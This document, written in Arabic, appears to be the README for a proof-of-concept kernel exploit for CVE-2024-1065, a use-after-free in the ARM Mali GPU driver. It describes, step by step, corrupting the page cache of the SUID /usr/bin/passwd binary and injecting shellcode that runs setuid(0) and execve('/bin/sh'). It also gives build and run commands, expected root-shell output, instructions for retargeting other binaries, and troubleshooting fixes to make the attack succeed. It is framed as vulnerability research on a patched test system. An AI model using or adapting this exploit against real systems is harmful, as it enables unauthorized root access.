
استغلال إثبات المفهوم لـ CVE-2024-1065، يوضح استغلال ذاكرة التخزين المؤقت للصفحات عبر use-after-free في برنامج تشغيل نواة ARM Mali GPU لتحقيق تنفيذ تعليمات برمجية تعسفية كجذر دون تعديل القرص.
إثبات مفهوم لاستغلال CVE-2024-1065، وهو ثغرة استخدام بعد التحرير (use-after-free) لصفحة فعلية في برنامج تشغيل نواة وحدة معالجة الرسوميات Mali من ARM. يوضح الاستغلال استغلال ذاكرة التخزين المؤقت للصفحات: سباق صفحة MIGRATE_MOVABLE المحررة إلى صورة الكود في الذاكرة لثنائي SUID، ثم الكتابة فوقها لتحقيق تنفيذ تعليمات برمجية تعسفية كجذر دون تعديل أي ملف على القرص.
لأغراض البحث فقط. يستهدف إثبات المفهوم هذا ثغرة تم إصلاحها على نظام اختبار x86 خاضع للرقابة. لا يمكن تشغيل مسار الكود المعرض للثغرة من مساحة المستخدم على أجهزة Pixel الإنتاجية.
تشغيل UAF — يتم استيراد صفحة مجهولة إلى برنامج تشغيل Mali GPU عبر KBASE_IOCTL_MEM_IMPORT وتعيينها مرتين في مساحة المستخدم. يؤدي تحرير كلا التعيينين إلى إرجاع الصفحة الفعلية إلى قائمة الأصدقاء الحرة MIGRATE_MOVABLE بينما لا يزال cpu_mapping2 يشير إليها بشكل مستعار.
رش ذاكرة التخزين المؤقت للصفحات — يفتح الاستغلال /usr/bin/passwd 100 مرة ويقوم بإزالة الصفحة بشكل متكرر عند PAGE_OFFSET باستخدام posix_fadvise(POSIX_FADV_DONTNEED)، ثم يؤدي إلى فقدان ذاكرة التخزين المؤقت باستخدام pread. كل فقدان يجبر النواة على تخصيص صفحة MIGRATE_MOVABLE جديدة، مما يدور قائمة الأصدقاء حتى يتم اختيار صفحة UAF.
تأكيد التداخل — قراءة بايت استكشاف من خلال cpu_mapping2 عند MAIN_OFFSET تؤكد أن صفحة UAF تدعم الآن إدخال ذاكرة التخزين المؤقت للصفحات للثنائي. القيم 0x00 و0x61 تشير إلى فشل؛ أي شيء آخر هو كود ثنائي حقيقي.
حقن شيلكود — تستبدل memcpy عبر cpu_mapping2 main() بشيلكود يستدعي setuid(0) وsetgid(0) وexecve("/bin/sh").
تنفيذ — يتم استدعاء execve("/usr/bin/passwd"). يقوم محمل ELF بتعيين صفحات ذاكرة التخزين المؤقت للثنائي كقابلة للتنفيذ. الصفحة التالفة موجودة بالفعل — لا يحدث قراءة من القرص — لذلك يتم تشغيل الشيلكود كجذر.
gcc -O2 -o exploit exploit.c
./exploit
المخرجات المتوقعة:
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)
جميع القيم الخاصة بالهدف محددة في أعلى exploit.c:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* file offset of the page containing main() */
#define MAIN_OFFSET 0xbc0 /* intra-page offset of main() */
لإعادة الاستهداف إلى ثنائي مختلف، ابحث عن إزاحة الدالة عن طريق تفكيك _start عند عنوان نقطة الدخول (readelf -h)، ثم احسب:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
تحقق قبل التشغيل:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| المتطلب | القيمة |
|---|
| المعمارية | x86-64 |
| النواة | 5.15 (تم اختبارها على 5.15.0+) |
| إعدادات النواة | CONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48 |
| الجهاز | /dev/mali0 يمكن الوصول إليه من مساحة المستخدم |
| الملف الثنائي المستهدف | /usr/bin/passwd (SUID root) |
| الأعراض | السبب | الإصلاح |
|---|
| فشل الرش بعد 100 محاولة | تم استهلاك صفحة UAF قبل نافذة السباق | قم بإخلاء الصفحة المستهدفة مسبقًا قبل تشغيل UAF؛ قم بزيادة NUM_FDS |
kernel BUG at mm/page_poison.c | تم اجتياز فحص الاستكشاف على بايت تسميم الصفحة 0xaa | أضف probe != 0xaa إلى فحص التأكيد |
فشل SYSCHK على MEM_IMPORT | لم يتم تحميل برنامج تشغيل Mali أو إصدار خاطئ | تحقق من CONFIG_MALI_NO_MALI ومصافحة إصدار برنامج التشغيل |